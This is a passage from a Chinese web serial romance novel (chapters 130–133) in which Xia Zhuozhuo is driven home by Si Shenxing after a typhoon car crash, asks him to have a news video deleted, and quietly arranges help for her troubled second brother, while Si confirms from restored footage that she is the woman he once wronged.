“不算认识……只是听说过。” 女人有些欲言又止,夏灼灼没有追问。 交警在这时候走过来,需要女人配合走一些程序。 女人朝夏灼灼摆摆手。 “夏小姐,改天见。” 夏灼灼颔首,带着夏怀瑾离开。 夏管家并不知道前面发生了什么。 距离太远,只知道前面着了火,有黑烟往上冒。 看到他们回来,当即松了口气。 “我刚才好像听到了爆炸声……” 夏灼灼点头,没提刚才的事,只说:“最前面那辆车着火了。” 夏管家的表情当即严肃起来。 “这里不太安全,少爷、小姐,你们去对面的车道打车先回去吧,我留下来。” “好。” 两个人没推脱,正要下车,一道高大的身影出现在车边。 第130章 心起涟漪 风雨中,司慎行的步伐沉稳而从容。 黑色的风衣被风吹起一角,衣摆在空中划出凌厉的弧度。 雨水顺着他的发梢滴落,却丝毫不显狼狈,反而为他增添了几分冷峻的气息。 他的眉眼深邃,鼻梁高挺,唇瓣紧抿成一条冷淡的弧度,整个人像是从雨中走出来的神邸,带着不容忽视的气场。 风雨在他身后呼啸,却仿佛成了他的背景,衬得他愈发高大而凌然。 夏灼灼一时间忘了动作,只觉得心跳在那一瞬间漏了一拍。 她的手还搭在车门上,却仿佛被他的目光定住,无法移开。 直到司慎行开口。 “这条路短时间内走不了了,我的车在对面,我送你回去。” 他的语气里带着不容置疑的命令语气,却不会让人觉得讨厌。 夏灼灼这才回过神来,心里对自己刚才的出神很不好意思。 ——她居然被司慎行的美貌迷了眼。 说出去,暗部上下都会笑她。 她得清醒一点。 “我们自己打车回去就行了,不麻烦你。”夏灼灼拒绝说。 司慎行直接替她把车门拉直。 “?”夏灼灼狐疑地看向他。 “你看看,这种台风天,有出租车出来拉生意的吗?” 夏灼灼一噎。 好像……没有。 对面路过的车子都是私家车,没有一辆出租车。 见她沉默,夏怀瑾替她同意了。 “那就麻烦司先生了。” “你叫我慎行就好,走吧。” 司慎行笑笑,有一滴雨水滑进他的唇边,又滴下去。 “妹姐,走了,不然咱们回去晚了,妈会担心的。”夏怀瑾说。 夏灼灼也不再扭捏,跟夏管家打了声招呼,躬身下车。 下一秒,头上突然有阴影改过来。 她一抬头,是司慎行脱掉了她的风衣,帮她挡住了头顶的雨。 “不用了……” 刚才她去救人,早就被淋了个透心凉。 好在上衣是黑色的卫衣,不会走光。 司慎行却仿佛没听到她说的话似的,直接搂住她的肩膀,带着她往对面车道去。 夏灼灼只听到耳边的风雨声像是突然模糊起来,仿佛全世界只剩下他们两个人。 安静又缱绻。 夏怀瑾跟在后面,舔了舔被雨水打湿的唇,表情有点意味深长起来。 他不是没跟司慎行打过交道。 夏家没落魄的时候,跟司家的往来不算少。 但是,他可从没见过司慎行这样照顾一个人。 不顾自己身上被打湿的肩头,全身心用风衣盖住夏灼灼的头。 啧。 妹姐的桃花好像开了。 不过,妹姐好像自己还没开窍? 聪明的人,开窍都晚,这个道理好像正好适用在妹姐身上。 …… 三个人很快上了司慎行的车。 阿麦负责开车。 司慎行很自然地跟着夏灼灼一起坐在了后座。 夏怀瑾犹豫一秒,便绕过车子,坐到了副驾驶的位置。 把后面的空间留给他们。 车子缓缓开动。 大概因为是台风天的关系,阿麦把车子开的很慢,一路打着双闪。 在一个红绿灯的地方,司慎行瞥了眼阿麦。 阿麦正好看了眼后视镜。 他明白司慎行的意思,突然“哎呀”了一声。 后面的车子挡板升了起来。 夏怀瑾扭头去看。 但看到的只有分割出前后座的挡板。 “怎么回事?” 阿麦有条不紊地回答:“可能是台风导致车子失控了,不过放心,只有车内挡板坏了,不会影响到行车安全。” “……哦。”夏怀瑾单纯,没有怀疑什么。 或者说,他莫名信任司慎行,觉得他是个君子,不会随便动手动脚,也就默认了阿麦这种说法。 车内挡板后面。 夏灼灼瞥了眼挡板,心里跟明镜似的。 她开门见山地说:“你要说什么,直接说吧。” 司慎行原本还想解释为什么要升起挡板。 怕她误会自己是什么奇怪的男人。 现在看夏灼灼眼神清亮,就知道自己不用多余解释了。 他喜欢什么类型的人,他自己也说不清楚。 但有一点很明确,那就是他讨厌蠢人。 而夏灼灼很聪明。 这是他欣赏夏灼灼的一个原因之一。 司慎行提起了刚才的事情。 “车祸的那位,是我最近刚认识的一位朋友的太太。” “他因为还没正式上任,所以还留在京都,让他们的老婆儿子先住过来。” “出事之后,他太太的司机打电话给他,他就把电话打到了我这儿。” “我正好在附近,就赶上了。” “我替他和他太太谢谢你。” 夏灼灼点头。 她猜到了。 否则司慎行怎么会在救人之后,还替那位太太跟交警沟通? 那位太太看到司慎行,也不是很惊讶的样子。 夏灼灼犹豫一秒,说:“我之前见过她一次。“ “嗯?” “那天你发烧,我走了之后,正好碰到她儿子发病。我用银针稳住了他的情况。” 司慎行眼底讶异。 “原来救团子的人也是你。” “团子?” “就是你救的那个小男孩。” “……嗯。可能我跟她有点缘分吧。” 司慎行弯唇:“你不会后悔救了他们母子的。” “?”夏灼灼缓缓打出一个问号。 司慎行却没有再就这件事继续多说,而是又道了一次谢:“谢谢你。” 夏灼灼提醒他:“你刚才已经说过了。” “刚才是替他们谢你,现在是替我自己谢你。” “什么意思?” “他们坐的那辆车,是我给他们临时用的,是我们公司去年上市的一代电车。我们马上就要推出第二代电车,这个节骨眼上如果在一代电车里出了人命,很容易影响二代电车的销量。” “没出人命就不会受到影响吗?今天看到车子着火又爆炸的人很多。” “也会有,但是不会太大。我会让公关买通稿,把重点放在这次的台风上。大家都会去关注受灾情况,不会关注一个小小的、没出人命的普通车祸上。” 夏灼灼懂了。 怪不得要道两次谢。 “那我之前欠你的人情,是不是就还清了?” 司慎行一愣。 心里莫名有点……不痛快。 他堂而皇之地岔开话题:“最近有遇到什么不正常的情况吗?古武堂那波人,还没有找到。” “没有。”她顿了顿,又补充道:“我让夏怀武出院了,他会帮我把古武堂的余孽找出来。” “你信任他?” “他是我五哥。” “可是你不喜欢他。”是笃定的语气。 夏灼灼吸了口气。 她看出来,司慎行能看透自己,这种感觉非常不好。 她不喜欢被人看透。 夏灼灼别开眼,语气淡下去,道:“我是不喜欢他,可他是我五哥也是事实。而且别的事情我不会交给他办。” 夏怀武是被古武堂的人打伤的,他原本就恨透了古武堂。 加上,他虽然蠢,却不会做出实际伤害她安全的事情。 他是夏家人,骨子里的底色还是善良的。 至于心灵上的伤害…… 他对她的不信任,对夏琉璃的偏心,这些小事,根本伤害不到她。 因为她不在乎。 所以这件事交给夏怀武去办是没问题的。 “如果你有需要,我可以派两个人给他用。”司慎行很大方地说。 他不希望夏灼灼还清人情,他想让她继续欠着。 欠越来越多,直到永远还不清。 夏灼灼不知道司慎行心里所想,但还是拒绝了。 “人太多,容易打草惊蛇。他要做的也不是直接抓到人,而是帮我把人找到。” “找到之后呢?” “……”夏灼灼差点脱口而出,说会让暗部的人处理掉他们。 好在她反应快,迅速改了说法。 “找到之后,我会跟你说,你帮我处理掉吧。” 司慎行动了动唇,想问她,这算不算又欠他一个人情。 可话到嘴边他忍住了。 因为他反应过来,如果自己这么说了,夏灼灼肯定会收回那句“你帮我处理掉吧”。 女孩子要强是好事。 可他喜欢的女孩子太要强,对他来说不是什么好事。 车子一路打双闪来到了夏家。 下车前,司慎行还跟她说了一件事。 “司珏羽来沪城了,你记得提醒你三哥一声。” 夏灼灼脊背拉直。 “好,我知道了,谢谢提醒。” 顿了下,又问:“你跟司珏羽的关系怎么样?” 司慎行这个人,她不能得罪。 至少目前不能得罪。 所以他跟司珏羽关系好不好,会影响她到时候用什么手段对付她。 司慎行只回了一句:“我对蠢人没什么耐心。” 夏灼灼听懂了。 是她可以随便“招呼”的意思。 那边夏家人已经打伞出来迎接。 夏灼灼没有再耽误,说了句谢谢他送他们回来之后,就打开车门下车了。 她下车后,司慎行一直望着夏灼灼的背影。 明明是很单薄的一个女孩子,仿佛一阵风都能把她吹倒,但偏偏她是那么坚毅。 他从来没有遇见过这样的女孩子。 一颗心,再次泛起涟漪。 “少爷,咱们去哪儿?”阿麦的声音打断他的思绪。 他收回视线,问:“视频文件,今天是不是就能恢复了?” 阿麦点头。 “是的,大概就这两个小时的事了。” “那就回枫林晚。” “是。” 车子很快开动,隐没在漫天的风雨中。 第131章 他害怕 夏灼灼和夏怀瑾回了家,夏管家却没有回来,他们坐的还是司慎行的车。 宁穗香在客厅门口看清楚了。 所以他们一进门她就问是怎么回事。 夏灼灼知道瞒不住,就提起了路上有车子出车祸的事情。 但是没说自己冲过去救人,差点九死一生。 夏怀瑾也很聪明地没提。 没必要让宁穗香白担心,反正他们什么事都没有。 电视还在放着气象新闻。 今天气象台一整天都在播放台风的灾害。 夏灼灼走过去,把电视机关了。 “妈,你不能看太久的电视,伤眼睛,我扶您上楼休息。” 宁穗香很听她的话,点头说:“正好我午睡一会儿。” 又对夏怀瑾说:“别肚子不疼了就不把病当回事了,你也上楼躺着去,我让许姨给你煮了护胃的汤,你一会儿喝了。” 夏怀瑾点头。 夏灼灼把宁穗香送回了房间后,自己也回了房间。 她给谷仔打了个电话,让他去查夏怀呈女朋友的那场车祸。 她要知道对方的身份。 电话刚挂断,房门就被敲响了。 “请进。” 房门很快被推开。 夏灼灼抬眼看过去,本来以为是夏怀瑾来找她八卦来了,没想到是夏怀武。 住了半个月的院,他看起来瘦了很多。 夏灼灼神色淡淡:“有事吗?” “有几句话想跟你说……我关门说?” 夏灼灼答应了。 夏怀武把门关上,随后摸出自己的手机,点出一则新闻给她看。 夏灼灼扫了眼。 正是台风天那场车祸。 夏灼灼和司慎行冒着危险救人的事情上了新闻。 好在,那只是路人的一个视频,没有很清楚地拍到她和司慎行的脸。 但认识她的人肯定能认出来。 评论区里一水的夸奖。 说她有勇气,是英雄。 “这个人……是你吗?”夏怀武问。 夏灼灼没否认。 “是我,怎么了?” 夏怀武的脸色变了。 “这太危险了!小六不是跟你在一起吗?他怎么没拦着你?万一你晚一步……” 他都不敢想! 夏灼灼神色依旧平淡。 “我不是没事吗?” “可是万一呢?这么危险的事情,下次你还是躲开比较好。别人的死活跟你没关系,你不要再以身犯险了。” 夏灼灼深深看他一眼。 “我当时去古武堂,同样危险。但如果我没去,你已经是一盒骨灰了。” 夏怀武后背一僵。 他知道夏灼灼说的是事实。 他又想起了自己刚才说的那句“别人的死活跟你没关系”。 他的脸色顿时有些尴尬,窘迫地摸了摸鼻子。 夏灼灼道:“这种话以后别说了,危不危险我自己知道。” 她当时也是觉得自己来得及,所以才继续把人往外拉。 如果心里很清楚来不及,她也不会继续救人。 白搭上一条命的事情,她不会做。 她心里有数。 夏怀武的表情更尴尬了。 他其实没别的意思,就是看到了新闻,心里被吓一跳,神差鬼使地就跑过来了。 “还有别的事吗?”夏灼灼问。 夏怀武很想跟她多说说话,缓解两个人的关系。 绞尽脑汁,终于憋出一句:“我打算等台风过去,就开始调查古武堂的事。” 夏灼灼点头:“可以。” “如果我找到了人,是直接除掉他们,还是……” “你只要帮我找到人就行,不用动手,你不是他们的对手。” 夏怀武:“……” 突然不知道该说什么了。 他懊恼地发现,夏怀瑾他们一开口就有很多话可以跟小七说,可是他却连说什么都不知道了。 这种感觉让他胸口憋闷。 “没别的事了吧?” 夏怀武知道夏灼灼这是在赶人了。 他点头,转身往门口去。 可走到门边,他突然想起了一件事,又转回头来。 “小七,有句话,我不知道该不该说。” “你既然这么想,那就是不该说,别说了。” “……” 夏灼灼的眼神像镀了一层冰霜一样冷,夏怀武竟然真说不出话来了。 “咳。” 他尴尬一咳嗽,点点头,走了。 他本来想劝劝夏灼灼,能不能跟夏琉璃缓和一下关系,让夏琉璃住回来。 毕竟,夏琉璃也不是什么坏人。 她只是有点小任性。 虽然当时在杜家门口的时候,撒了点小谎,让他误会了夏灼灼。 但这不是什么不能原谅的重罪。 昨天,他打了个电话给夏琉璃,夏琉璃说她跟杜浩然分手了,现在借住在朋友家。 可话到嘴边,直接被夏灼灼顶了回去,只好作罢。 他想到自己跟夏灼灼的关系都没有缓和,就暂时先不提夏琉璃的事情了。 夏怀武满怀心事地走了。 他人一走,夏灼灼就拨通了司慎行的电话。 那边司慎行已经回到了枫林晚。 只不过不在主楼,而是在主楼后面的一栋房子。 他手里拿着一本书,时不时翻一下,但能看得出三心二意。 他的眼睛一直在看对面的机房。 很快,监控画面就能恢复了。 夏灼灼的电话就是在这个时候打进来的。 看到来电显示,司慎行的心跳莫名快了一拍。 反应过来之后,司慎行自嘲地笑了下。 他的人生也算是大起大落,什么风浪没见过? 看到夏灼灼打电话过来,他居然会心率变快。 暗自懊恼一下,他很快接通了夏灼灼的电话。 “今年的最后一个台风果然厉害,能把你的电话吹来。” 电话那头,夏灼灼没接司慎行的调侃,她不是打电话给司慎行,就为了侃大山的。 她开门见山地说:“我刷到了一条新闻,是关于中午那场车祸的,里面有你和我。我一会儿发你,你看看,能不能让人把这条新闻删了。” 司慎行有些失落。 果然夏灼灼是无事不登三宝殿。 “那你发给我。” “好。” 夏灼灼下一秒就直接挂断了电话,把夏怀武给她看的那条新闻发了过去。 新闻热度不算太高,但也有一千多条评论了。 她不想宁穗香看见。 其实删除新闻,让蚊子做也可以,偏偏里面有她,她不想让人知道,蚊子跟她是认识的。 她可以让人知道她医术、武术、画功都好。 反正她现在有夏家七小姐这个正经身份,别人只会知道夏家七小姐很厉害。 但不能让人知道她是暗部的老大。 暗部现在被人盯得很死。 擒贼先擒王,抓到她,暗部就乱了。 她不能冒半点风险。 所以由司慎行来做是最好的。 反正他也被拍进去了。 司慎行过了十几分钟才回了个电话回来。 “已经删了。” “谢谢。” “不用谢,我也在里面,我不喜欢出现在社会新闻上。” “……” “不过,你为什么这么着急删这个新闻?我看过评论区了,都是在夸人的。” “我瞒了妈妈,不想让她担心。” 这回答有理有据,不会让人起疑。 司慎行果然也没多问了,正要抓着她再聊几句,那边阿麦走过来了,用眼神示意他,画面恢复了。 司慎行轻轻一点头,让阿麦先出去,自己看似无异地对夏灼灼说:“台风一来,气温又变低了。这样的日子去泡温泉很好,改天要不要我们一起去泡温泉?” “不用了,我最近很忙。你有这个闲心,不如想想怎么把你爸爸接过来,让我给他看病。” 这件事司慎行一直拖着。 她也不知道他在拖什么。 是司董事长不想过来? 还是不信任她的医术? 反正不管怎么样,这件事她想尽快解决了,解决完,她答应司慎行的最后一件事才算了结。 她能感觉到自己对司慎行这个人产生了一点异样的情愫。 她不能再这样下去,男人只会影响她往上爬的速度。 尤其司慎行还不是普通男人。 所以事情得尽快完成才行。 司慎行道:“他的情况有点特殊,我改天跟你详细解释。” “行,那我先挂了。” 说完,她直接结束了通话。 司慎行看着暗下去的手机屏幕,若有所思。 “少爷……”阿麦又进来了。 司慎行再次摆了摆手。 “我一会儿过去看,先处理一点事情。” 阿麦应声,又退了出去。 只是心里很奇怪,少爷明明很着急要结果,现在结果出来了,怎么反而……不肯过去看? 但阿麦从来不过度揣测司慎行的想法,安静等在门外。 房间里,司慎行拨通了司董事长的私人电话。 电话响了两声就被接通。 “阿行?” “是我,爸。” “出什么事了?” 司慎行斟酌了下字句,才开口:“我在沪城这边找到一个神医,有可能可以治好你的病。你要过来看看吗?” “不用了。”司董事长拒绝:“我太累了,现在这样,挺好的。” 他已经放弃了。 上次生病,九死一生。 好不容易身体在慢慢恢复,却又在一次复查中发现,脑子里有根血管长了瘤。 这个瘤很小,但因为在血管里,还是脑部的血管,医生们都不敢动手术。 ——他自己也不想冒这个险。 进了手术室,他现在的身体状况大概率熬不过去,而且手术成功率非常低。 可不进手术室,只要这根血管不爆,他就能继续活着。 活多久不好说,可至少不会一进手术室就死。 他害怕。 人都是怕死的。 司慎行明白司董事长的意思,所以一直没让他过来。 “您先别着急拒绝,先考虑一下。我找到的这个医生,比您之前看过的都厉害。” 司董事长直接跨过这件事,问起别的。 “对了。我之前跟你提过的,跟夏家小女儿的婚约……你考虑得怎么样了?” 第132章 他的白月光,是她 跟夏家的婚约,宁穗香本来要打电话给司董事长,说他们没有缘分,谢谢他的好意。 但夏灼灼接风宴那天,司慎行表明了自己的心意,所以她就没有打那通电话。 也因此,司董事长才问了司慎行。 他以为司慎行肯定会拒绝,正准备动之以情晓之以理,甚至打算用自己日子不多想在死之前抱上孙子这种话逼他。 却不曾想,司慎行开口就说:“我觉得夏七小姐不错。” 司董事长在电话那头愣了好一会儿。 他准备的话全都没派上用场,所以反而一时之间不知道该说什么了。 “你……” 好一会儿,他才开口:“你见过那个小姑娘了?” “已经是朋友了。”司慎行说。 司董事长更感意外。 但心里的大石头落了地。 他略显病态的脸上浮现出一丝笑容。 “既然这样,我就放心了。你打算什么时候订婚?” “最近太忙,可能要年底。” 司慎行没提夏灼灼对自己根本没意思的事。 司董事长皱眉。 “年底太慢了。” 又说:“也行。就年底吧。” 司慎行沉默两秒,把自己的疑问说出口。 “爸,夏家已经破产了。” 言外之意是在问他,怎么会看得上夏家? 司董事长是个功利心很强的人,哪怕是急着要抱孙子,也要看门当户对。 而现在的夏家,明显跟司家不属于门当户对的关系。 司董事长咳嗽一声,叫屋子里的人出去,随后才开口:“夏云海跟党家的关系不一般。” 司慎行立刻就听懂了。 现在华夏大陆两位大人物正在分庭抗礼,暗潮下是一片血雨腥风。 那两位大人物,一位姓党,另一个姓窦。 这么看来,司董事长是压党家能赢。 之前疑惑的地方,司慎行明白过来了。 夏家是党家暗地里的后盾。 一旦党家赢了,那么夏云海很快就会出来,夏氏没多久就会恢复往日的荣耀。 司董事长果然不是着急抱孙子,是想让他以后的路更平坦好走,或者说,是想让S集团能把路走得更远。 “窦家那边,你也不要太冷淡,该打交道就继续打交道。至少明面上不要得罪任何一个人。” 司慎行“嗯”了声。 这些事,司董事长不说他也知道。 在结果没出来之前,任何一方都不能得罪。 也是因为这样,明面上,司董事长跟窦家的关系更近一些。 可暗地里却让司慎行考虑跟夏灼灼的婚约。 这样无论最后谁赢,司家都有好处。 “好了,我累了,先挂了。” “您好好休息。” 司慎行挂断电话,视线飘远。 窗外的枫树剧烈晃动着,风雨更猛烈了。 他是今天才知道,夏家跟党家的关系。 那么夏云海被带走调查,是不是党家有意而为呢? 为了让另一边放松警惕,所以先自卸一臂。 他觉得很大可能是这样。 怪不得夏家虽然破产,但夏太太看起来却精气神越来越好。 夏灼灼也从来不提她爸爸的事。 司慎行点了根烟。 因为这一通电话,他的心情很复杂。 有种无意中利用了夏灼灼的感觉。 他对她的感情,是出自真心的好感,不掺杂任何利益。 又过了好一会儿,司慎行足足抽了三支烟后,终于从办公椅上站起身,推门走出去。 “结果你看了吗?”司慎行问。 阿麦点头,正要说话,司慎行说:“我自己去看。” 阿麦就把话给吞了回去。 司慎行来到对面的机房,里面的人都被阿麦清走了。 他深深吸了一口气,心跳早就没了平时的规律。 他很忐忑。 刚才接完夏灼灼的电话却没第一时间过去看,反而又打了电话给司董事长…… 这些,全都是因为太忐忑,所以下意识逃避。 他怕那个女人,不是夏灼灼。 同时,也怕那个女人就是夏灼灼。 如果是夏灼灼…… 不论怎么样,他虽然是被下了药,可实际行动上还是伤害了她。 如果她知道那天那个“登徒子”就是他,会不会……把自己退的更远? 司慎行在原地站了好一会儿都没有动。 “少爷?”阿麦忍不住开口。 司慎行回过神来,让自己不要再像个女人一样扭扭捏捏,迈步朝电脑走过去。 他拿起鼠标,点进了被修复成超高清的视频画面。 画面里,女孩身体摇摇欲坠,显然不对劲。 很快,女孩转过脸来。 他清清楚楚地看到了女孩的脸。 女孩的脸像一副精心绘制的工笔画。 她眉毛细长,有古代人的典雅,却正好适合她的眉形,看着就很端庄大气。 一双眼睛更像是具有灵魂一般,像猫眼一样灵动。 一张脸小巧美丽,哪怕看着很虚弱,却更添一种弱柳般的惊艳。 叫人过目难忘。 不是夏灼灼,又是谁呢? 司慎行的心跳一点一点快起来。 他不再忐忑了。 他已经得到了自己想要的答案。 就算夏灼灼把他推得更远,他的腿力好,健身时经常练腿,再远的地方,他也能跑回来。 司慎行心里心潮澎湃,脸上却一丝异样的表情都没露。 只是转回身的时候,对阿麦说了句:“这几天大家都辛苦了,等台风过去,你带他们好好玩两天。” 阿麦就明白,司慎行心情很好。 他一直很约束手下的人,几乎不太会说让他们好好玩两天这样的话。 “是。”阿麦也笑起来,心里更加确定,以后,夏小姐就是司少奶奶。 也幸亏视频里的女人不是别人,否则又得多一件事。 “还有。”司慎行再次开口:“叫人把健身房打扫一下,我今天要练腿。” 阿麦怪异地看他一眼。 “怎么了?”司慎行问。 “没什么。”阿麦连忙摇头。 他其实是想说,男人练腿的好处很多。 其中很重要的一个好处是:增加“那方面”的能力。 少爷这么早就开始练腿,看来是对夏小姐胜券在握了。 “……我这就去叫人一起打扫。” “嗯,打扫完你也好好放松一些。这两天台风,不会有太多的事。” “是!” …… 而另一边。 夏灼灼在傍晚的时候收到了谷仔替她查到的消息。 那位被夏怀呈送进去的,名字叫窦斯礼。 很斯文的一个名字,却是个酒后撞死人还妄图逃过惩罚的混蛋。 但比起这个人的人品,让夏灼灼更在意的,是这个人的家世。 他的爷爷,是窦国福。 华夏大陆响当当的人物。 能跟他分庭抗礼的,只有党家人。 夏怀呈居然在无意中,得罪了窦家人。 怪不得他这几年事业不顺,处处受阻。 现在知道真相,夏灼灼甚至觉得,只是事业受阻都算夏怀呈命大了。 按理说,夏怀呈现在应该已经是一个死人了。 不过他之所以活着,一是当时的夏家也不是普通人家,不是能随意被捏死的。 二是,窦斯礼还有一个哥哥,窦斯齐。 这人名校毕业,被窦家寄予厚望。 现在虽然才刚满三十,已经坐上了其他人坐不上的高位。 至于窦司礼,他从小就纨绔,读书读书读不好,做事做事做不了,只喜欢吃喝玩乐。 窦家早就放弃培养他了。 夏灼灼敢肯定,如果被送进去的是窦斯齐,夏怀呈必死无疑。 不仅必死无疑,窦斯齐也绝对不可能被送进去。 夏怀呈的运气不好,但在不好中又算好的。 至少留了一条命。 夏灼灼沉沉吐了一口气。 她从来不跟官方做无谓的抵抗,这一次不能硬来,得靠智取。 夏灼灼打了一个电话给谷仔,让他去查那个死去的女孩的家里人。 “他们家所有人的信息,我都要。” “是。”谷仔没问为什么,直接动手去查。 女孩家里姓方。 因为是普通的不能再普通的人家,所以查他们很容易。 夏灼灼很快就从一堆资料里,找出了一个能用的人。 方子昂。 这人是那个女孩的堂哥,女孩大伯的儿子。 他吃喝piao赌样样都玩,后来还因为在赌桌上结交了不好的人,染上了毒,一家人被他害得不轻。 他们家原本也住在桂花路上,但毒和赌害的他们只能变卖房产,现在一家人只能屈居在一个出租屋里。 夏灼灼打给谷仔,仔细跟他说了自己的计划。 谷仔应声,告诉她,这件事明天就能办妥。 …… 这一天依旧是大雨,好在风没那么大了。 方子昂喝完酒正准备离开,被两个放高利的人抓住。 “欠的钱,什么时候还?再不还,我们废了你的手!!” 方子昂吓得跪下。 什么男人的尊严,在他这种人的心里,尊严根本不重要。 “三天,再宽限我三天,三天之内,我一定还钱!” 那帮人也不是非要方子昂的手,他们只要方子昂还钱。 “那就最后再给你三天时间!” 几个人很快离开。 方子昂长吁一口气,瘫坐在地上。 回家的路上,他一直在思索,该怎么弄钱。 他借了他们十万,一个晚上就输光了。 家里知道他又去赌,肯定不会拿钱给他。 而且,家里也没钱了。 就在这时,两个人吵吵嚷嚷路过他。 “你为什么不肯报警?他可是酒后驾驶才撞了我们!” 另一个说:“你傻啊!报警只能把人送进去,咱们捞不到好处。但是不报警,他明天就会给我们送钱。” “真的假的?” “你不信走着瞧!” 方子昂看着他们离开的背影,若有所思。 第133章 柳暗花明,迎来晴天 到了第二天,方子昂跟家里要了点钱,坐火车去了京都。 他的借口是,他要去京都好好干活,洗心革面。 家里人看他态度诚恳,就给了他三千块钱。 铁路受台风的影响小,中午的时候,方子昂就到了京都。 他兜兜转转,花了三个小时时间,找到了一个别墅区。 他跟着一个住户混进去,来到了一栋别墅门口。 正好里面有人出来散步,方子昂一个健步冲上去,抓住那人就说:“你们家的人酒后开车撞死了我堂妹,害的我堂妹爸妈重病在床,连医药费都付不起。你们现在必须把医药费给我,否则我就不走了!” 那人瞠目结舌,像是在惊讶这个人怎么这么胆大包天。 也不看看这里是哪里? 还没等他说话,两个人不知道从哪儿冒出来,几步冲上前,帮他拽开了方子昂。 “不好意思,我这就带他走,请您见谅。” 一个跟男人道歉,另一个则是不由分说,劈晕了方子昂,把人拖走。 “实在不好意思,还请您替我向窦老先生道歉。” 男人看他一眼。 “你知道我们老爷子?” 那人点头:“我是怀呈少爷的人,请您代我们少爷向窦老问好。” 说完,那人便转头离开了。 三个人突然出现,又突然消失。 男人皱眉看着三个人离开的背影,放下手里的垃圾袋,转身回到别墅里。 窦国福正在下一盘残棋,看到管家进门,开口问道:“刚才门口吵吵嚷嚷的,什么事?” 那男人正是窦家的管家。 他把事情的经过仔仔细细说了一遍,还提到了夏怀呈。 窦国福眉头微皱,沉默了足有半分钟,他开口道:“告诉小区的安保,加强巡逻,别让什么阿猫阿狗都跑进来。” “是。” 另一边。 沪城。 两个人冒着风雨,来到了方家。 方家父母经历了丧女之痛,身体一直不太好。 两个人其中一个是医生,替方家父母开了中药的药方。 “吃一个月,两位的身体就能稍微恢复一些。” 方家父母道谢,问起两个人的身份。 “我们的主人,是夏少爷。” 方家父母一对视,知道他们说的是谁。 “你们有什么事吗?” 两个人说明来意。 “我是想,让二位出具一份谅解书……” 半小时后,两个人从方家出来,把谅解书寄到了京都。 寄件人,写着“夏怀呈”三个字。 …… 又过了一天,台风彻底过去。 经历过台风的洗礼,这一天的天空格外蓝。 夏怀呈在家里待了几天,出门一趟后,神色有些垂头丧气。 夏灼灼几步走上前,问:“二哥,怎么了?” 夏怀呈勉强露出一抹笑。 “没什么事。” “二哥,你没说实话。” 夏怀呈一愣,看看客厅里只有他们两个人,便开口了。 “我手上有一个项目,资金已经到位,就等开始了。结果突然出了点岔子……这个项目恐怕是不行了。” 夏灼灼拍拍夏怀呈的肩膀。 “放心吧,二哥,我之前看过一本看面相的书,你的眉毛是呈上扬的形状,天庭饱满,是有福气的人,一定能化险为夷的。” 夏怀呈扯了扯唇。 “但愿吧。你跟妈说一声,我一会儿还得出去一趟,晚饭不回家吃了。” 夏灼灼点头,说:“好。” 她目送夏怀呈上楼离开,拿出手机看了眼时间。 这个点,京都那边应该快要收到快递了。 …… 楼上,夏怀呈从家里拿出一个他收藏的古董花瓶,用纸盒包装好之后又出门了。 一个小时后,他来到了一家餐厅,约见了一个男人。 男人叫元煜。 前不久合作的投资方突然撤资,就是元煜找到他,说愿意给他投资。 两个人酒过三巡,夏怀呈很不好意思地开口了。 “元总,这次的项目突然出现了这样的岔子,实在是不好意思,让您亏损了这么多钱……” 元煜不介意地笑了笑。 “投资本来就有风险,你不用道歉,是我们运气不好。但运气不会一直不好下去的,下次再有好项目,咱们再继续合作。” 夏怀呈举起酒杯。 “元总,都在酒里!” 一口酒下肚,喉头火辣辣的。 辣的他眼泪都快流出来了。 他不明白,为什么他每次的眼光都很精准,却每次都失望了? 这一次,他有百分百的把握能做好这个项目,结果临门一脚出了事。 那块用来建娱乐城的地,原本都已经谈好了,这个月就会全部拿了拆迁款走人,下个月项目就可以开始动工。 可突然有十几户人不肯走了。 他亲自上门去说,但所有人都大门紧闭。 他忙了一个上午,连个人影都没见着。 真是见鬼了。 难道他注定这辈子就是个失败的人? 元煜说他这次只是运气不好,但何止这次? 上次、上上次…… 每一次都会有突然的状况发生。 都三年了,这三年就真的跟见鬼了一样,他失去了挚爱不说,事业也一波三折,一个项目都没做成! 以前做不成,他可以告诉自己,下一次一定行。 但现在今时不同往日,家里没有那么多钱给他亏损了。 这次,或许是他最后一次了。 他也许早就应该换个行业,就算去别人的公司打工,也比自己创业好。 他可能真的没有创业的命吧。 夏怀呈暗自决定,以后不再创业了。 老老实实找个地方上班。 他是名校的优秀毕业生,找工作应该不难。 反正不管怎么样,他既然帮不上家里,就不能为家里添乱。 夏怀呈又倒了一杯酒,这次甚至都没顾上敬元煜,就仰头一口喝下。 他们喝的是白酒。 夏怀呈辣的眼泪都流了出来。 “夏总,你喝慢点,来,喝点水,压一压。” 元煜给夏怀呈倒了一杯温水。 夏怀呈正要道谢,手机铃声响了起来。 他看了眼来电显示,表情微变,跟元煜道了句歉后,拿着手机快速出了包厢。 元煜慢条斯理为自己倒上一杯酒。 老大的二哥,长得跟老大还真挺像的。 之前他都是电话跟夏怀呈联系,今天是第一次见本人。 不过,除了外貌,性格是一点都不像。 遇到一点小小的挫折,就哭了鼻子。 不像是个男人。 但元煜不知道的是,夏怀呈的眼泪不是因为这次的挫折而掉的,他是想起了自己的挚爱。 只是怕家里人担心,所以他一直积压在心里,谁都没说。 家里人到现在也只以为他是分手了。 痛失了挚爱,这种痛,没遇到的人是不会感同身受的。 元煜坐了十几分钟后,夏怀呈回来了。 跟刚才在包厢里的时候不同,他红光满面,整个人显得非常精神。 “元总!” 他伸手握住元煜的手:“咱们的项目、投的钱,或许不会打水漂了!” 元煜心里毫无意外。 但脸上故意露出了惊讶的神色。 “怎么回事?不是说很难进行吗?” 夏怀呈把自己刚才的那通电话说了一遍。 那十几户不肯搬走的人突然愿意走了,并且保证一周之内就会全部搬走。 他们的项目这个月就可以开工了。 元煜安静听完,笑了笑,回握住夏怀呈的手。 “夏总,我说什么来着,运气会有不好,但不会一直不好下去。” 夏怀呈用力点头。 是。 他这次好像……苦尽甘来了! …… 天色还没完全黑。 夏怀呈给家里每个人都买了一样礼物带回去。 给夏灼灼买的,是一个很大的保平安的金锁。 夏灼灼拿在手里,沉甸甸的。 她笑着问:“二哥是有什么好事?突然这么大手笔?” 其他人也都好奇地看向他。 毕竟今天不是什么节日,更不是谁的生日。 夏怀呈报喜不报忧,省去中间的过程,只说结果。 “我做的那个项目,进度提前了。本来下个月才开工,现在提前到这个月就能开工了。” 宁穗香大喜。 “这可太好了!你不早说,我今天就摆一桌好好庆祝了。” 宁穗香是真的很高兴。 她这个二儿子,从大学的时候就有人说他是经商天才,肯定能继承他爸的衣钵。 